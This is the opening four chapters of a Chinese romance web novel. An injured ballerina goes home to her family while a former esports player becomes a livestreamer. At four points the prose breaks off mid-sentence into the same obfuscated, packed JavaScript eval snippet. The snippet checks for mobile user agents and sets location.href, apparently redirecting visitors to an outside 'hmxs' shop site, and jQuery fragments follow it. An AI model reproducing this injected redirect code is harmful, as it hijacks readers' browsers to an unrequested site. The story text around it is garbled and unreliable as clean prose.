《过冬》 1. 暴雪(01) 暴雪(01) 今年的冬天格外难过。 舞团老师来病房探望周月白的时候,她正瞧着窗外的大雪出神。 十一月初,寒潮就席卷北方,昨夜暴雪红色预警,航班停飞,中小学停课,全世界惨淡一片。大雪纷纷扬扬洒下来,周月白恍然想起一周前,她在舞台上领奖时,飘落的金箔纸也像今天这样,铺天盖地。 如果没出意外的话,她本来应该在练舞,等待着美国的舞团将她选走,然后站上她梦寐以求的舞台。 可她却在这个紧要关头摔断了腿,恢复期三个月,复健半年,她不仅错过林肯中心,还会错过中央舞院的考研复试,明明努力了这么久,笔试她有把握做到万无一失的。 或许可以休学一年,养好伤等明年再考?明年好像还有莫斯科大剧院的机会,是不是可以争取一下…… 周月白脑子乱糟糟的,恍惚间有一只手递过来一只剥好的橘子,她才顺着这个方向看过去。 来探望她的人是从小开始教她舞蹈的老师秦霜月,也是她母亲年轻时的舞团同事。和她母亲一样,秦老师一向对她分外严苛,她明白,这是对她器重有加。 这次选拔的消息一出,秦霜月沉默不语地握着她的手,久久没放开,眼中泪光闪烁,两个人心照不宣,她们期盼已久的机会终于到来了。 而今天,秦霜月像一位慈爱的长辈,对周月白嘘寒问暖,唯独绝口不提跳舞的事。 这氛围让人害怕,仿佛此刻她已经不再是秦霜月的学生,只是一位朋友的女儿。 周月白接过橘子后,一点点撕着上面的橘络,却没往嘴里送,状似无意地问:“秦老师,这次选拔……” 秦霜月淡淡回应:“你先好好养伤,不用操心舞团那边的事,这次你突然受伤也是意外,只好先让林巧顶上了。” 周月白哑了哑声,还是点点头:“辛苦大家了,我会尽快养好伤归队,等我回去……” “月白。”秦霜月打断她,“先好好养伤吧,别想这些了。” 周月白眨了眨眼睛,本来就消瘦的脸因为在病中又小了一圈儿,显得眼睛格外大,一张苍白如纸的脸上似乎只剩下瞳孔还有色彩,此刻流露出不解的情绪:“老师,医生说我只要三个月就能恢复的,我还赶得上明年莫大的选拔吧。” 秦霜月只是缓缓地,摇了头:“如果这一次林巧能拿下美国的演出,那么莫大也是她的了。” 脑子里嗡的一声,周月白慌张伸手抓住秦霜月的衣袖,带动了扎在手背上的吊针,一阵刺痛,她只顾着说:“老师,这次是我自己的问题,我没话说。但等到明年能不能给我们一个公平竞争的机会,你知道的,我跳的不比她差啊。” 秦霜月不着痕迹地拂开了她的手:“月白,在你受伤那一刻起,就没有公平了。” 她残酷又理智地宣布:“每个舞者都应该清楚,你的身体不属于自己,属于舞台。” “作为舞者,你不够爱惜自己的身体,从你擅自脱队那一刻起,就已经输了,你心里也清楚,不论是林肯还是莫大,都不会要你这样的白天鹅。” 周月白的手还停在半空,愣愣没放下去,像一只提线木偶,不会动,没有生气,只是没想到本来已经没什么血色的脸庞,竟然还能唰地再白上两分。 秦霜月别过头去看窗外。 她对这个得意门生不是不心疼的,只是心疼之余,还多了些生气,她眼看着周月白亲手葬送了自己的前程。 不只是她自己的,还有她妈妈的。 几句安慰的话都在嘴边,到底还是没说,开口时只有一声叹息:“月白,这次的机会真的很好,但是你已经失去了,你差一点点就能圆你妈妈的梦了。” 听到这句话,周月白睫毛一颤,无声地垂眸。 她的母亲白歆谙是一位曾在林肯中心登台的华人芭蕾舞演员,凡是认识她的人无一不称赞她是一位才华横溢的舞蹈艺术家,而周月白从小听得最多的话却是:“可惜不是白天鹅。” 白歆谙当年跳的是黑天鹅,她一生梦寐以求在最高的舞台上做白天鹅,直到结婚生子,梦碎了。 可周月白从小展露在舞蹈上的才华让她觉得,她的梦想,似乎还可以延续。 于是周月白的童年,是属于天鹅湖的。 直到白歆谙缠绵病榻,临终前对周月白最后的嘱托,都只有一句:“月白,你一定要去林肯中心,跳白天鹅。” 而从那以后,她的父亲周廷却不愿意再见她跳舞。 周月白心里清楚,她跳舞的时候,和她妈妈太像了。而这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621105|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥见故人的伤心,足可以让父亲失去理智。 周廷不同意周月白再读舞蹈学院,可她还是执拗地报了志愿,并正式同家里决裂,从此学费生活费没再从周廷那要一分钱,全靠自己接活动商演赚钱。 这一次摔了腿,也是因为她接了一场出场费很高的商演,虽然冒险脱队,但是时间地点她都算好了,可以悄无声息地来去,本来万无一失的——如果舞台升降机没有坏。 如果没受伤,母亲的遗愿,周月白差一点就能完成了。 再次响起的敲门声打断了屋里两人的沉思,医生查房,秦霜月先反应过来,拍了拍周月白的手:“舞团还有事,我先走了,有什么困难,随时联系我。” 这一触像施了魔法,周月白如同刚被解冻的雪人,缓过神来:“秦老师,不送了,外面雪大,路上小心。” 人走了后,医生例行检查一番,问题不大,简单嘱咐了两句便要离开了。 这时周月白突然开口,声音轻得仿佛不存在:“医生,我的伤……以后还能跳芭蕾吗?” “恢复得好的话,运动功能应该不会受太大影响,跳舞的话……”医生思考了一下,“你伤的是踝关节,芭蕾中最关键的发力部位,站在医生角度,不建议伤愈后再高强度使用踝关节了。” “也就是说,”周月白迟缓地转动了下眼睛,再次确认道,“以后我都不能再跳舞了吗?” “抱歉,站在我的专业角度,不建议长期高强度地跳舞,以免对踝关节造成二次伤害。” 医生走出去不知道多久了。 满室寂静里,周月白执拗地扭过头,继续看窗外的落雪。 她脖颈挺得直直的,弧线优美得仍然像舞台上倨傲的白天鹅,却被人间一场大雪困住了。 电话铃声突兀地响起,周月白毫不意外,是已经久未联络的父亲。 长时间的疏远,让听筒里的声音也稍显尴尬:“听说你受伤了?” “嗯。” 一小段不知道该说什么的沉默,两个人都没说话。 终于还是周廷先开口,声音有些发涩:“回家吧。” 周月白长时间盯着雪地刺目的白,终于觉得目眩,她闭了闭眼,说:“好。” 从母亲过世,她已经很久没回过家了。 2. 暴雪(02) 大雪下了整夜。 还没到供暖日期,房间里冷得如同冰窟,林熠蜷缩着从床上醒来,一看时间,才早上七点三十六分。 明明昨晚是凌晨三点多才睡的。 窗外风声喧嚣,裹挟着细密的雪花,风有了颜色和形状。这是身为南方人的林熠从没见过的景象,他们那边的所谓下雪,感受起来无非是一阵冰雨,黏糊糊湿哒哒地糊在地上,成不了积雪,便被踩成泥泞。 探出去的半个身子迅速失温,仅有的三个小时睡眠也支撑不起林熠初次见到北方大雪的雀跃,他神色恹恹地缩回去紧紧裹住棉被,不想离开还算得上是温暖的床。 拿起手机熟练地打开外卖软件,一看吓一跳,他们住的地方本来就偏,近处的外卖商家不多,今天受恶劣天气影响,几乎每一家的配送费都飙升至两位数。 啊,这就是首都吗。林熠有点自嘲地想。 银行卡余额的数字不用他查询都已经铭刻于心,一千二百三十六元五毛。 原本上周他和室友一起凑完现在这套房子的租金之后,就只剩下一千五,这段时间他省吃俭用,已经是连外卖都不敢再点的地步。 楼底下有家沙县小吃,十二块钱的套餐还能加饭,吃到饱,他经常吃一顿就能撑一天。 再次看了眼窗外风雪,林熠犹豫片刻,到底还是妥协了,认命地穿上衣服,准备下楼吃饭,没想到才一出单元楼门,身上单薄的外套就已经被寒意浸透,这是他带过来的衣服里最厚的一件,仍不足以抵御突然袭来的冷空气。 林熠烦躁地想着,他还得从仅剩不多的钱里分出一部分买一件羽绒服。 飞奔两步到那家沙县,点了个最便宜的蛋炒饭,决定随便吃两口对付一下就行。 林熠吃饭速度飞快,从前在战队的时候,怕耽误训练时间,盒饭送到大家都是趁着游戏loading页面的时间抓紧扒两口,有时候吃完一口,再抽不出手来,等到一局结束,饭都凉了才继续吃。 林熠吃完一抹嘴,刚想结账,又跟老板说:“再帮我打包一份蒸饺和蛋炒河粉吧。” 他声音好听,脆生生的,有纤细的少年感,即使在变声期都没有什么改变,现在十八岁,声音早已经定型了。 拎着打包好的餐盒,林熠又冲进风雪中,片刻后风尘仆仆地回到家,一进门对上玄关处的穿衣镜,才发现自己俨然一个雪人。 室友陈思睿已经起床了,才不到九点,这显然不是两个网瘾少年一贯的作息规律。他看见雪人林熠,目瞪口呆:“外面雪这么大吗?” “嗯。”林熠脱了外套,抖了两下上面的雪,挂在门口的衣架上,然后把餐盒往茶几上一放:“正好你起来了,吃吧。” 陈思睿呆呆坐到茶几旁,打开塑料袋,后知后觉地问:“你居然吃早饭?早起还是没睡?失眠了?” “没怎么睡。”林熠把自己整个人往沙发上一扔,“你不也是?之前在基地我没见你九点之前起过床。” “艹,那是没办法啊,天天晚上打游戏到半夜,你更夸张,训练赛打完了你自己还要再去rank几把,每次都打到四五点钟,九点前能起来才不正常吧。” 林熠丢过去一个抱枕:“说得好像是我太努力了似的,明明是你们自己太不上进,每天训练时间完成了就想着玩别的。” “是啊……”陈思睿接着抱枕,苦笑着说:“我们太懒了,你说要是我们再努力一点,会不会战队就不会被解散了……” “不是你的错,不是咱们的错,就算二十四小时不停练习,该解散还是会解散的。” “可就是,总有种拖累了你的感觉……认识你以来,没见你像这几天这样过。” “哪样?” “这么……丧。” 丧得不像个年仅十八岁的少年。 林熠满不在乎的样子说:“也不是丧,就是现在突然不用这么高强度地打游戏了,我有点不习惯。” ?_?陈思睿也努力用在基地大家打闹玩笑时的语气说:“我靠,你果然抖M。” 林熠又丢来一个抱枕,陈思睿眼疾手快地接住,却半晌没听到沙发上的人再说话。 从前在基地大家这么挪揄他,早就挨他一个爆栗了。陈思睿有点不安地转过头,只看见林熠静静坐在那,眼圈似乎有点发红,镇定的声音像是强压下了许多情绪:“只是有点不习惯而已,以前训练确实很累,但至少,有点事干,不像现在。” 两个人都有不得不打职业的理由,一句话,都读懂了对方的心酸。 “是啊,”陈思睿回过头,强忍住鼻腔里的酸涩,“不像现在。” 一个月前他们还是每天忙着训练等待着走上顶尖赛事的电竞选手,一夕之间,战队解散,他们所有战队成员只获得公司上级领导的书面通知,便要卷铺盖走人,连遣散金都少得可怜。 原来所谓“实现梦想、为国争光”和“玩物丧志、游手好闲”之间,差的不过就是一纸聘书。 战队里大家都年纪不大,林熠算是最小的,当初好不容易才说服家人同意自己中断学业来从事这份谁都不理解的工作,不过几年时间——没出什么名,也没赚到钱,更别提什么奖杯,现在就要灰溜溜地回去? 林熠不敢想,陈思睿也一样,两个人强撑着少年骄傲的自尊心,从以前的公司领导那边得知他们背后的A站在北京有直播机构,他们俩外形条件也不错,可以去试试,于是两个人便一腔孤勇来了北京。 遣散金,都用来租房了,真正的穷途末路。 陈思睿吃饭也快,尤其是在这样各怀心事的沉默中,不一会儿餐盒就空了,他问起:“之前看的几家直播公司,你选哪家?” 他们不光看了A站,出于对临时解散战队的老东家的不信任,他们又看了竞争对手Z站,一个主营电竞,产业盘根错节;一个是近些年的新晋热门,在年轻人中的普及度更高。 林熠连高考都没经历过,面对这种关乎人生的重大决定,只有直觉,没有理性。 “我觉得,Z站吧。” 陈思睿比林熠大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621106|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些,有不同的看法:“可是A站咱们是靠从前的关系进来的,签约保底就更高,虽然提成开得不如另一家,但是咱们游戏打得好也未必就能做好直播,有份稳定的保险总是好的。” 林熠挠挠头:“你说的我也考虑过,但是我算了一下,如果我们每个月能收到五千块以上的礼物打赏,那么在Z站的收益就会更高,靠着保底总不是长久之计。” “难不成你还想一辈子做游戏主播?在A站说不定我们还能回去打职业啊,公司下面还是有那么多战队呢。” “我当然还想打职业。”林熠垂眸,“只是不相信他们了。” 毕竟被抛弃过一次。 陈思睿想了想,眼前这个男孩虽然比自己小两岁,但在他们战队里,他的实力比任何一个“哥哥”都要强,是当之无愧的队长,游戏中大家都听他指挥,不知不觉生活里也产生了这样的习惯。 “那就,听你的!”陈思睿笑笑,“就凭你这技术,实在不行再算上你这张小脸儿,别说五千了,咱争取做成月入百万的大主播!” 林熠笑笑:“你也不差。” 两人简单收拾一下,便决定出门去Z站签约了。 早一天定下来工作,就能早一天获得收入,他们如今的积蓄实在已经捉襟见肘。 带他们签约的经纪人是一个大姐姐,笑起来眉眼弯弯,十分有亲和力。这家公司看起来也很温馨,办公区有暖黄色景观灯,甚至还有猫别墅,两只小猫在里面上蹿下跳,林熠路过忍不住多看了好几眼。 经纪人姐姐见他感兴趣,热心介绍:“我们公司可以带猫上班哒~这两只都有员工证,是大boss女儿的猫。” 林熠微愣,他提前上网查过,这家公司近年来风头正盛,招聘门槛不低,员工连普通本科生都是少数,大多重本毕业或者硕士学历,而他勉强算是初中学历吧,这辈子也进不来这家公司,可能连有员工证的猫都比不过。 不知道陈思睿想到什么,也发出一声微不可察的嗟叹。 一路参观了办公区、茶水间、员工健身房、小型影院、会议室还有专门为主播设立的直播间,两人对公司环境都挺满意。 因为早都已经提前做好准备,签约过程十分顺利,经纪人知道他们的情况,十分善解人意地同意前半年他们可以随时将礼物钱包中的收入直接按比例提现,不必等到每月固定时间。 闲聊间又听说他们初来乍到,除了常用的那套键鼠从成都背过来了以外什么设备都没有,还特地为他们配了两套直播设备,包括麦克风、声卡、摄像头和美颜灯之类的。 公司并未对两人有过多的限制,每月一定的直播时长,不精确到每天。然后派专门的运营小姐姐给他们简要讲了一些设备使用方法、如何开播、礼物等级、常用话术等等,便留了个微信,让他们实际操作中遇到问题再来问她。 满载而归回家后,陈思睿笑着说:“感觉咱们选公司选对了呢。” 林熠也笑,但没有很乐观,只是说:“等晚上开播试试看吧。” 3. 暴雪(03) 暴雪(03) 开着的电视机里传出新闻播报,强冷空气来袭,北方多地迎来近十年罕见暴雪。 两天一夜,这场总算是停了,还带来个意外之喜,空气质量AQI为18,窗外不再阴云密布,湛蓝通透的天辉映着雪白大地。 周月白在护工的帮助下从床上移动到轮椅上。今天是出院的日子,周廷在国外开会,派秘书来医院接周月白。 回家这一路上两人都没搭话,周月白脸上的表情只能称之为平静,看不出任何情绪。 豪车开进别墅区,同周月白大学四年来每天为生计穿梭的脏乱街道住宅区不同,这里洁净明亮,雪景无人踩踏,大片留白。 她按下车窗,冷风吹进来,甚至完全同记忆里一样,连空气中都还依然飘着馥郁的香气——一年四季,不知道那些人是怎么从不间断地侍弄植物开花的。 非要强求。 周月白关上窗,不再张望。 很快到了家,秘书推着周月白才刚到院门口,就看见个人影迎了过来。 “囡囡,囡囡……” “范妈,”周月白看她穿着围裙,连外套都没披一件,应当是做着饭听见响动直接迎出来了,她脸上终于有了生动的表情,心疼地责怪道:“怎么穿这么少就出来了,今天这么冷。” “不冷,不冷,我们家囡囡可算是回家了。”范妈握住周月白的手,眼眶里有点湿润,“瞧瞧你,手这么凉,快进屋。” 范妈在周家做了二十年,白歆谙去世后,范妈更是心疼周家才十几岁的姐弟俩,对他们如同亲人一般悉心照料。 早就知道周月白今天回来,范妈准备了一桌子她小时候就爱吃的菜,灶上还炖着一砂锅胡椒猪肚鸡汤,小火煨着。 摆餐桌的功夫,范妈事无巨细地询问起周月白这几年的生活。 周月白怕她担心,只能隐去部分为生计奔波的凄惨往事,连这次受伤都只说是练舞时不小心扭得脚。 即使这样,仍然是让范妈心疼不已,一边给她舀汤一边说:“真是苦了你了,从小到大没让你吃过一点苦,这几年……你说你也是,怎么真就能一次都不回家呢,跟你爸赌赌气也就算了,你们俩真是一个比一个犟的性子。” “也没真吃什么苦,秦阿姨没少接济我。”周月白接过汤,喝了一口,夸张地说:“还是以前的味道!这几年别的都没什么,就是吃不到您做的菜可把我难受坏了。” 范妈一听果然不再提伤感的往事,轻轻拍了下周月白的头说:“你呀,鬼精灵的,爱吃你就多吃点,以后我天天做给你吃。” “那可不得把我喂成个胖子。” “胖点好,你瞧瞧你现在,太瘦了,一阵大风都能给你吹走。” 周月白吐吐舌头:“哪有那么夸张。” 范妈却践行承诺,每天五顿地做饭,晚餐过后还有银耳莲子羹送到房间,然后还会再端个果盘上楼。 周月白这么吃了几天,感觉肚子上能掐出点肉来了。 长胖实在顺理成章,因为回家的日子突然变得平顺安逸起来。 周月白不必再每日刻苦练功,操心着首席的位置和央舞的考研,也不用再精心计算每顿饭的卡路里,有想吃的菜随时随地叫范妈做,其他那些从前不敢碰的披萨和蛋糕,如今可以点外卖送到床上躺着吃。 她昼夜不分地补了几部大学这几年因为忙碌而没看成的日剧美剧,不能去商场逛街就用这次回家周廷给的卡在网上疯狂下单看快递堆积成山,心血来潮的日子一个个拆开,有些都已经忘记了买的什么,像收礼物一样愉快。 周月白甚至偶尔出神会想,当初自己何必苦行僧般拒绝所有家里的经济帮助?倘若不是非要逼自己过苦日子,也不会有为了一次商演摔断腿的事故。 可如果一直在过养尊处优的生活,遵照父亲的安排,她还能再跳舞吗? 生活一时失去了所有其他色彩,只剩下享乐。 随之而来的是无穷尽的空虚与无聊。 那是一个安静的午后,阿姨出门采购,偌大的房子里只剩下周月白一个人。 她从午睡中醒来,厚重的窗帘遮挡住阳光,屋子里一片昏暗,死气沉沉,压得人喘不过气。 周月白做了个美梦,梦里她站上林肯中心星光璀璨的舞台,她能感受到炫目灼热的灯光,台下观众席的目光,每一个动作都烂熟于心,不用思考就能流畅地完成,她穿着白色芭蕾纱裙,轻柔的羽毛覆在裙上,熠熠生辉的宝石钉珠在胸前,折射出一道光线。 太真实了。 当她完成了极高难度的舞蹈,全场掌声雷动,她是名副其实的白天鹅,下台后,母亲握着她的手,泪盈于睫,她说的是:“你做得很好。” “妈妈从此没有遗憾了。” 倏尔光景流转,陷入黑暗,周月白猛地睁开眼,如同梦里最后那一幕一样漆黑。她忽然迫切地想寻求光源,出于本能地,她想要走到窗边拉窗帘,却完全忘记了自己的腿伤。 一阵闷痛,周月白跌坐在地上,额角已经因为疼痛出了一层冷汗,但她还没能来得及触碰到窗帘的一个角。 光亮近在咫尺,而她被幽深的黑暗裹挟。 她终于崩溃大哭。 这段时间她努力用吃喝玩乐填补内心的空洞,绝望却在此刻潮水般从洞口涌了出来,她像一只被人随意丢弃在地上的破布娃娃,抽空力气。 命运翻手为云覆手为雨,她反抗不了。像被孩童玩腻抛弃的残破玩偶,伤痕累累,余生只配和晦暗的垃圾桶、下水道共生。 不知道这么坐了多久,好像很久,也好像只一刻钟。 哭到后来,脸上就没有湿润的触感了,也没有抽泣声,只有安静。 黑暗令人的听觉分外发达,密码锁响了两声,“滴——”的一声,门开了。 过了不一会儿,少年惊喜的声音在楼下响起:“姐?” 眼睛早已经适应了黑暗,听见来人,周月白的精神终于放松下来,她扬声:“在这,唯见,来帮我一下。” 匆忙的脚步声由远及近,很快到了门口,下一秒房门被打开,“姐,真的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621107|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你!”周唯见惊喜的声音还没落地,房间的灯先被他打开,少年脸上表情很快从喜悦变成了错愕。 他快步走到周月白身边,蹲下身检查确认了周月白身上除了已经打好石膏的伤以外没有什么其他伤口,可是想扶她起身又不知道从何下手,只能焦急地问:“你这是怎么了?” 周月白苦笑着说:“跳舞摔了一下,骨折了。” 周唯见觉得不可思议:“你受伤了怎么都没人告诉我?回家了也不跟我说一声,早知道我上周末就回家看你了。” “小伤而已,你高三了,学业要紧,在学校好好学习,别动不动往家跑。”周月白指挥道,“你扶我一下就行,另一只腿还能站。” 周唯见没理会她后半句话,避开了她腿上的石膏,将她整个人打横抱起,才发现她实在太瘦了,骨头有些硌人,放到床上时轻飘飘的像一片落叶,他忍不住皱眉,“你现在多少斤?” 周月白歪头想了想:“受伤前称是87,这两天在家养的估计胖了点,得上90了吧。” “?”周唯见说,“这能活?” 显然他对女生体重没概念,但是怎么想都觉得165的身高这个体重是有些太瘦了。 周月白缓缓翻了个白眼:“如你所见,活得好好的。” “好好的人可不坐轮椅。”三言两语下来,周唯见也算是明白了她不是什么严重的伤,终于也能恢复原先姐弟俩互损的模式交谈。 周月白被这话噎住,讪讪道:“帮我把窗帘拉开。” 周唯见长手一伸把窗帘拉开,还不忘问:“你摔地上就为了这?” 周月白朝窗外看,天色泛红,大雪不知道何时又下起来了。 晴朗了才不到两周,这一场大雪又将本已经融化的差不多的大地重新覆盖,铺天盖地的白,肃穆沉重,白得令人心惊。 “又下雪了,今年的雪还真多。”周月白看着大雪,回答说:“刚才是想起来拉窗帘,忘记自己腿伤的事儿了。” 周唯见看她神色觉得奇怪,惴惴不安地问:“你的伤……不要紧吧?” “以后应该都没办法跳芭蕾了。”周月白平淡地说出医生的诊断,经过这么多天,她似乎已经接受了这个事实,但心口还是抽痛了一下。 “走路呢?” “没问题,我是受伤了又不是残疾了。” 周唯见彻底放下心来,乐了:“那就行。” 周月白翻了个白眼赏给他。 “这次回来,多住一阵子吧,把伤养好,我挺……”周唯见挠了挠头,有点儿可疑地口拙,“我跟爸都挺想你的。” 说完他自己先觉得不好意思,借口回去写作业就一溜烟地跑走了。 青春期不擅长表达情感的男孩啊,不知道从什么时候起,已经马上就要高考、上大学,成为一个大人了。 看着少年抽条般长到一米八几的背影,周月白才恍惚地意识到,从上大学开始,自己已经将近四年没有回过家了。 她让本来就失去了母亲的弟弟,又失去了一个姐姐。 4. 暴雪(04) 暴雪(04) 周唯见算是个姐控。 白歆谙去世时周月白已经快高中毕业,而周唯见还只是个初中生,按照大家的想法,周月白往后会填补上母亲这个空缺呵护弟弟,可没想到恰恰相反,沉浸在叛逆中的周月白反而更敏感脆弱,周唯见成了照顾她的那个角色。 再往后,毕业离家,周月白一次都没回过家,周唯见找了不少机会明里暗里给她送钱、送物资,但却都被她拒绝了。 周月白像周廷,父女俩一脉相承的倔强,就算知道自己错了也要强词夺理,硬撑着不低头;而周唯见明显更像妈妈,除了跳舞这件事如同沉疴,每每提及都会词严厉色,在其他方面白歆谙绝对称得上温柔如水,周唯见继承了这份成熟体贴,早慧地开始照顾起横冲直撞的姐姐。 想到这,周月白有点心酸,拎起床头的拐杖一瘸一拐地下了楼。 范妈先注意到,抓紧来扶她:“怎么自己下来了,万一摔着怎么办?需要什么叫我一声我给你拿上去就是了。” 周月白笑笑:“想拿点水果,热个牛奶给唯见端上去,他在学习呢,怪辛苦的。” “啧,怎么这一回来还知道照顾弟弟了。”范妈乐得眉眼弯弯,“来,我先扶你上去,等我弄好了给你端上去,然后你再给小见送。” 颇有点借花献佛的意思,周月白赧然:“要不还是我亲自去弄吧。” “我的大小姐,你就乖乖上去坐着,万一摔了,小见那性子不知道得多自责呢。” “也是。”周月白笑笑,“那就辛苦您啦。” 范妈摆摆手,先是把她扶上楼,看她安坐在轮椅上,然后才下楼去切水果热牛奶,不一会儿就端着个托盘上了楼。范妈细心,水果捡着草莓和蜜瓜准备,都是周唯见最爱吃的。牛奶是直接成盒用热水温的,没敢用敞口的杯子,怕放在周月白膝上洒了,会烫伤她。 托盘交给周月白,她道过谢,自己操作轮椅往走廊另一端周唯见的房间去了。 姐弟俩从小就亲,周月白仗着自己是姐姐,习惯了不敲门直接进弟弟房间。周唯见听见开门声,慌乱放下手里的手机,急忙翻转屏幕向下扣住,可是枪战的声音还是从听筒中流泻出来。 周月白挑挑眉:“不好好写作业在这里玩手机?” 周唯见挠头,试图狡辩:“作业自习课写完了……” “高三生的作业哪有写完这一说?”周月白将轮椅停在书桌边,把膝上的托盘放到桌上,顺手捞起手机来问,“玩的什么?” 周唯见弱弱地解释道:“没玩……就是看个游戏直播……主播是我以前的初中同学,一毕业他就去打职业了,当时我们都羡慕死了。” 说到这,周唯见眼神里还燃起了一点艳羡的火苗。 周月白有点不屑:“初中毕业?” “昂……对。初中毕业怎么了,职业选手有几个学历高的,你别看他没继续念书,打游戏真打得特别好,我们当初都说他以后能拿冠军的。” 周月白努了努嘴道:“那怎么现在在做直播?” “运气不好咯。”周唯见摇摇头,比当事人还惋惜,“听说他们那个战队OW(守望先锋)分部解散了,前阵子网上闹得沸沸扬扬的,说是公司违约,签约年限都没到,但是连遣散金都没给多少,他这是为了生计只能做做直播了。” “这么倒霉?”周月白有些错愕,“不能换个战队继续打?” “这款游戏要花钱买了才能玩,除了最开始大热的那段时间,往后就越来越冷门。现在国内最赚钱的就英雄联盟和王者荣耀的战队吧,奖金高的比赛要数DOTA2,大家都瞄准了这几块蛋糕,一些没那么赚钱的项目好像大家也都不愿意花钱去签人。” “……他跟你一样大吧?”周月白似乎不能想象初中生就业又失业后该怎么办,“不继续上学?” 周唯见摇摇头:“不知道,不过当主播赚的也挺多,没必要上学吧。我要是有他这技术,我也不上学了。” 周月白一掌拍在他脑袋上:“你想什么呢,好好写作业,你又不愿意听我的出国留学,非要留在国内高考,要是考不上985211就别说是我弟了,这些东西高考完你随便看,游戏也随便玩,考得好老姐给你买皮肤。” “切,我又不缺钱买皮肤。”话是这么说,周唯见还是从书包里掏出了本真题,周月白满意地点了点头,一低头,视线落在手上的手机屏幕。 屏幕里的男孩一张白净的脸,黑色短发,刘海有点长了,俏皮地卷起了一绺,明明已经是晚上了,他脸上却透着一种刚睡醒似的慵懒。纤长白净的手指握着手机,就这样好整以暇地坐在那里,一种好像这游戏对他来说毫无挑战的轻松感直接溢出屏幕。 周唯见这个同学长得还真不错,美颜开得不大,皮肤质感都还在。满满的胶原蛋白,一看就知道年纪不大,标准的日系美少年风格。在这个看脸的时代,还真说不定能走主播这条路。 她笑了笑,冲弟弟一扬手:“走了,手机我先放旁边了,你做完题再玩。” 在周月白把手机锁屏的前一秒,她瞥见屏幕下方的主播名字,叫前职业选手林熠。 - 房间里安静得出奇。 周月白的耳边莫名又出现刚刚那番话,初中毕业,辍学,打职业,战队解散…… 这人的经历听起来,未免太倒霉了。 比商演受伤错过选拔的她好像还要惨一些。 不知道出于怎样的心理,可能是有点变态地、迫切地想知道世界上有比自己处境更差的存在,以此来寻求慰藉——周月白打开了直播软件,搜索“林熠”。 刚才那局游戏还没结束,少年还是差不多的表情在玩弄着手里的手机,只在周月白进入房间时分出一点注意力,开口却是有些生涩地说:“欢迎这位……” 视频画面中的男孩似乎犹豫了一下,还是艰难开口:“欢迎我的小宝贝美短加白来到我的直播间,欢迎。” 周月白愣住了,美短加白确实是她的名字,因为她有一只起司猫。可这前面的title(头衔)……她足足思索了一会儿才反应过来这“小宝贝”是怎么来的。 她们艺术生圈子里现在做直播的很多,闺蜜北栀就是一个当红女主播,平台一姐,而周月白捧场去给北栀刷小礼物的时候,自然而然就带上了她直播间的粉丝牌子——【我的小宝贝】 周月白面无表情地给北栀发了条微信说:“我才反应过来,你粉丝牌子太……油腻了,换一个?” 她很快回复:“我正好想换呢,叫栀栀啵啵怎么样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621108|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “打扰了,还是原来好点。” “哦。”北栀问,“好好地养着伤怎么突然想起我粉丝牌子的事儿了,你在看直播?居然不看我?” “在看别人,待会儿说。”说着目光就回归了iPad屏幕。 林熠偶尔和新进来的人打招呼,但大多数时候都是沉默地打着游戏。 周月白平时不打游戏,只能看出这是款射击游戏,其余便一概不知了。 好在林熠直播游戏的时候是开着摄像头的,所以即使看不懂游戏也不至于太无聊。 可惜的是他话不多,表情也不多,周月白看了眼左上角的数字,发现他观众也不多。 标题写着,这是他直播的第十三天。 新手上路,他也还没摸清门路,不懂得怎么跟观众要礼物,也不知道如何尬聊,就连观众进房间的欢迎声都有些勉强。 整个直播间最吸引人的,除了这张安静得仿佛自拍照的脸,就剩下连门外汉都能看得出的,毋庸置疑的技术。 他没有一起开黑的队友,只能匹配路人,开赛没几分钟,没跟他一起跳伞的三个队友全部阵亡,只剩他自己。 趁着林熠一直在搜寻物资,没有战斗,周月白随手微信问周唯见:“你同学玩的这游戏叫啥?” 很快对面接连回复了两条消息:“和平精英。” “你在看他直播???” 周月白:“你在玩手机?” “……” “钓鱼执法?” “兵不厌诈。你没了,两分钟之内不把手机关机我就过去监督你写作业,反正我现在多得是时间。” 